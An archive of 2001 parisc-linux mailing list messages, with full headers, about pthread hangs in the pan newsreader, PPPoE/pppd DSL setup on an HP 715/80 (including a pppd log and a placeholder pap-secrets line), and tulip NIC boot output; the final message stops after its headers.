From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with threads..
Date: Sat, 29 Dec 2001 01:24:36 -0800
Lines: 8
Approved: news@gmane.org
Message-ID: <20011229012436.4586cb54.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620894 32235 80.91.229.3 (22 Nov 2014 01:48:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 02:25:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56581482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 02:25:14 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBT9PDD07636
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 01:25:13 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABS21054;
	Sat, 29 Dec 2001 01:25:21 -0800 (PST)
X-Mailer: Sylpheed version 0.6.6 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13502

Hello,

the pan newsreader does not want to work on parisc platforms (neither the ones from the debian archive nor a version compiled from scratch). Digging a little bit I found the application hangs at pthread_mutex_lock and similar calls. Tried with various kernel versions over the last couple of months, never worked. Known issue ?

Thanks,
	Christian 



From - Thu Nov 08 21:20:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 13:23:44 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <16KITV-0dMC0GC@fwd05.sul.t-online.com>
References: <20011228124334.96741.qmail@web21207.mail.yahoo.com> <20011229050103.54069482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620895 32238 80.91.229.3 (22 Nov 2014 01:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:15 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 05:20:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A9B6482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 05:20:47 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout05.sul.t-online.de with smtp 
	id 16KITV-0003en-04; Sat, 29 Dec 2001 13:20:29 +0100
Original-Received: from there (320008472305-0001@[80.135.25.117]) by fwd05.sul.t-online.com
	with smtp id 16KITV-0dMC0GC; Sat, 29 Dec 2001 13:20:29 +0100
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20011229050103.54069482A@dsl2.external.hp.com>
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13503

Am Samstag, 29. Dezember 2001 06:01 schrieben Sie:
> =?iso-8859-1?q?Hinrich=20Aue?= wrote:
> > I found out, that you (Grant Grundler) already had the
> > same? Problem. There already was a submitted Bug.
> > Has somebody tried to fix that?
>
> Either Richard Hirst or Thomas Bogendoerf already fixed that.
> 132 should be closed since last I tried, I was able to use pppd
> with the dialup modem. Sorry about that - I should have closed it.
>
> > I'll post the stackdump later today, from syslog.
>
> The "trap 15" is a kernel crash. That doesn't get logged
> to syslog (afaik). Are you sure it's the same symptom?
>
> grant

Yes, I found no logging in syslog. I'm not used to kernel stuff, (2. 
semester) but the stackdump looked familiar. And after all, it happens when I 
start pppd with async ppp. If I don't activate async ppp It don't crashes, 
but it don't work. That was a problem first when I tried to use DSL. After I 
activated async ppp the machine crashes at the start of pppd.
I also tried the latest CVS kernel Verison (pa27).
I would like to dig in that stuff, but I don't know where to start and have 
too little experience.





From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: andi <andi@fischlustig.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with threads..
Date: 29 Dec 2001 13:42:17 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <1009629737.2955.3.camel@cube>
References: <20011229012436.4586cb54.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620895 32241 80.91.229.3 (22 Nov 2014 01:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 05:42:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tentakel.fischlustig.de (pD9055A1C.dip.t-dialin.net [217.5.90.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 94A58482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 05:42:09 -0700 (MST)
Original-Received: from cube.fischlustig.de (cube.fischlustig.de [::ffff:192.168.1.14])
  (IDENT: andi)
  by tentakel.fischlustig.de with esmtp; Sat, 29 Dec 2001 13:40:16 +0100
In-Reply-To: <20011229012436.4586cb54.csuder@cisco.com>
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13504

On Sat, 2001-12-29 at 10:24, Christian Suder wrote:
> Hello,
> 
> the pan newsreader does not want to work on parisc platforms (neither the ones from the debian archive nor a version compiled from scratch). Digging a little bit I found the application hangs at pthread_mutex_lock and similar calls. Tried with various kernel versions over the last couple of months, never worked. Known issue ?

I can confirm the problem here on my 712/60. DirectFB (www.directfb.org)
does not work either and hangs during first pthread_mutex_lock().

andi








From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 15:57:53 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620895 32246 80.91.229.3 (22 Nov 2014 01:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:15 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 07:54:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id F030D482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 07:54:17 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout02.sul.t-online.de with smtp 
	id 16KKsF-0006Uv-05; Sat, 29 Dec 2001 15:54:11 +0100
Original-Received: from there (320008472305-0001@[80.135.15.202]) by fwd05.sul.t-online.com
	with smtp id 16KKs9-1CicwSC; Sat, 29 Dec 2001 15:54:05 +0100
X-Mailer: KMail [version 1.3.2]
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13505

I read another posting, that pppd misses the /sbin/hotplug script.
First I made a script like discribed in the posting, after that I installed 
the hotplug package, both versions had the same problem.

if I do pppd call dsl-privider:
//---------------------------------------
Serial connection established.
using channel 2
Using interface ppp0
Connect: ppp0 <--> /dev/pts/1
read: Resource temporarily unavailable
read /dev/ppp: Resource temporarily unavailable
read: Resource temporarily unavailable
read /dev/ppp: Resource temporarily unavailable
sent [LCP ConfReq id=0x1 <asyncmap 0x0> <magic 0x7c5d0821>]
read: Resource temporarily unavailable
read /dev/ppp: Resource temporarily unavailable
rcvd [LCP ConfReq id=0x66 <mru 1492> <auth pap> <magic 0x3ddff70f>]
sent [LCP ConfRej id=0x66 <auth pap>]
rcvd [LCP ConfAck id=0x1 <asyncmap 0x0> <magic 0x7c5d0821>]
rcvd [LCP ConfReq id=0x67 <mru 1492> <magic 0x3ddff70f>]
sent [LCP ConfAck id=0x67 <mru 1492> <magic 0x3ddff70f>]
sent [LCP EchoReq id=0x0 magic=0x7c5d0821]
kernel does not support PPP filtering
sent [IPCP ConfReq id=0x1 <addr 0.0.0.0> <ms-dns1 0.0.0.0> <ms-dns3 0.0.0.0>]
rcvd [LCP TermReq id=0x68]
LCP terminated by peer
sent [LCP TermAck id=0x68]
Script pppoe -I eth1 finished (pid 297), status = 0x0
Modem hangup
Connection terminated.
//---------------------------------------

It seems strange to me, that the missing hotplug script causes the trap 15.
As I see, there some send and reciieve things done like <auth pap> and stuff.

Q:
Does anybody know why:
"read /dev/ppp: Resource temporarily unavailable"
and
"kernel does not support PPP filtering" ?
What the hell is PPP filtering? Do I have to activate it in the Kernel?
I think that "read /dev/ppp: Resource temporarily unavailable" Is not the 
Problem, perhaps it takes time to init or stuff, but after a while it seems 
to be available, because some messages are recieved and sent.



From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240 / NIC
Date: Sat, 29 Dec 2001 10:22:48 -0500
Lines: 87
Approved: news@gmane.org
Message-ID: <00f601c1907c$ad5d4580$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_00F3_01C19052.C3CE9BE0"
X-Trace: ger.gmane.org 1416620895 32252 80.91.229.3 (22 Nov 2014 01:48:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:15 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 08:22:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE8CB482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 08:22:05 -0700 (MST)
Original-Received: from pogo (dhcp-109.beldar.com [65.163.106.109])
	by beldar.com (8.9.3/8.9.3) with SMTP id KAA65114
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 10:42:14 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13506

This is a multi-part message in MIME format.

------=_NextPart_000_00F3_01C19052.C3CE9BE0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

I just got around to bringing in the J2240 from the garage to connect it =
to the LAN.  Unfortunately, the upgrade to 0.9.3 via iso image seems to =
have rendered the NIC unusable (or did I render the NIC unusable when =
moving the box w/o help?).  Below is the output from boot:

Linux Tulip driver version 0.9.15-pre6 (July 2, 2001)

tulip0: EEPROM default media type Autosense.

tulip0: Index #0 - Media MII (#11) described by a 21142 MII PHY (3) =
block.

tulip0: ***WARNING***: No MII transceiver found!

eth0: Digital DS21143 Tulip rev 33 at 0xfe00, 00:60:B0:B2:FC:F5, IRQ 99.

tulip1: no phy info, aborting mtable build

tulip1: MII transceiver #1 config 1000 status 7809 advertising 01e1.

eth1: Digital DS21143 Tulip rev 48 at 0x1ff00, 00:60:B0:A4:F3:F1, IRQ =
160.

SCSI subsystem driver Revision: 1.00








------=_NextPart_000_00F3_01C19052.C3CE9BE0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>I just got around to bringing in the =
J2240 from the=20
garage to connect it to the LAN.&nbsp; Unfortunately, the upgrade to =
0.9.3 via=20
iso image seems to have rendered the NIC unusable (or did I render the =
NIC=20
unusable when moving the box w/o help?).&nbsp; Below is the output from=20
boot:</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3Dr_ansi size=3D2>
<P>Linux Tulip driver version 0.9.15-pre6 (July 2, 2001)</P>
<P>tulip0: EEPROM default media type Autosense.</P>
<P>tulip0: Index #0 - Media MII (#11) described by a 21142 MII PHY (3)=20
block.</P>
<P>tulip0: ***WARNING***: No MII transceiver found!</P>
<P>eth0: Digital DS21143 Tulip rev 33 at 0xfe00, 00:60:B0:B2:FC:F5, IRQ =
99.</P>
<P>tulip1: no phy info, aborting mtable build</P>
<P>tulip1: MII transceiver #1 config 1000 status 7809 advertising =
01e1.</P>
<P>eth1: Digital DS21143 Tulip rev 48 at 0x1ff00, 00:60:B0:A4:F3:F1, IRQ =

160.</P>
<P>SCSI subsystem driver Revision: 1.00</P></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_00F3_01C19052.C3CE9BE0--




From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 16:59:42 +0100 (CET)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0112291658220.20276-100000@alpha.bocc.de>
References: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620896 32255 80.91.229.3 (22 Nov 2014 01:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:16 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>
To: Hinrich Aue <H_Aue@t-online.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 08:59:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEC1F482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 08:59:53 -0700 (MST)
Original-Received: from pD9E0137E.dip.t-dialin.net (pD9E0137E.dip.t-dialin.net [217.224.19.126])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fBTFxmj20871;
	Sat, 29 Dec 2001 16:59:48 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13507

Hi Hinrich,

> rcvd [LCP ConfReq id=0x66 <mru 1492> <auth pap> <magic 0x3ddff70f>]
> sent [LCP ConfRej id=0x66 <auth pap>]

You reject to identify yourself. Is your userid / password setup 
correctly in /etc/ppp/pap-secrets?

Cheers,
Jochen




From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 17:08:52 +0100 (CET)
Lines: 19
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.43.0112291700110.20276-100000@alpha.bocc.de>
References: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620896 32262 80.91.229.3 (22 Nov 2014 01:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:16 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
	Grant Grundler <grundler@dsl2.external.hp.com>
To: Hinrich Aue <H_Aue@t-online.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 09:09:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB1C6482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 09:09:01 -0700 (MST)
Original-Received: from pD9E0137E.dip.t-dialin.net (pD9E0137E.dip.t-dialin.net [217.224.19.126])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id fBTG8wj21005;
	Sat, 29 Dec 2001 17:08:58 +0100 (CET)
X-X-Sender: jochen@alpha.bocc.de
In-Reply-To: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13508

Hi Hinrich,

> rcvd [LCP ConfReq id=0x66 <mru 1492> <auth pap> <magic 0x3ddff70f>]
> sent [LCP ConfRej id=0x66 <auth pap>]

I guess you use T-Online (TDSL flatrate?). In this case make sure you 
place the userid in /etc/ppp/pap-secrets in single quotes or the # will be 
treated as a start of comment:

'AAAAAAAAAAAATTTTTTTTTTTT#0001@t-online.de'     *       PPPPPPP        *

Of course you must replace the A, T and P with the data you got from 
t-online.

Cheers,
Jochen




From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 17:10:47 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <200112291710.47812.deller@gmx.de>
References: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620896 32270 80.91.229.3 (22 Nov 2014 01:48:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:16 +0000 (UTC)
To: H_Aue@t-online.de (Hinrich Aue),
	"parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Dec 29 09:13:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 42617482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 29 Dec 2001 09:13:28 -0700 (MST)
Original-Received: (qmail 13431 invoked by uid 0); 29 Dec 2001 16:13:26 -0000
Original-Received: from pd904030c.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.12)
  by mail.gmx.net (mp007-rz3) with SMTP; 29 Dec 2001 16:13:26 -0000
X-Mailer: KMail [version 1.3.8]
In-Reply-To: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13509

> Q:
> Does anybody know why:
> "read /dev/ppp: Resource temporarily unavailable"
> and
> "kernel does not support PPP filtering" ?
> What the hell is PPP filtering? Do I have to activate it in the Kernel?

Just a suggestion: Networking Options -> Socket Filtering (CONFIG_FILTER).
This is not enabled by default.

Helge



From - Thu Nov 08 21:20:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Sat, 29 Dec 2001 17:30:30 +0100 (CET)
Lines: 149
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.42.0112291720570.17057-200000@r6.petescaff.com>
References: <16KKs9-1CicwSC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811328-658511863-1009643430=:17057"
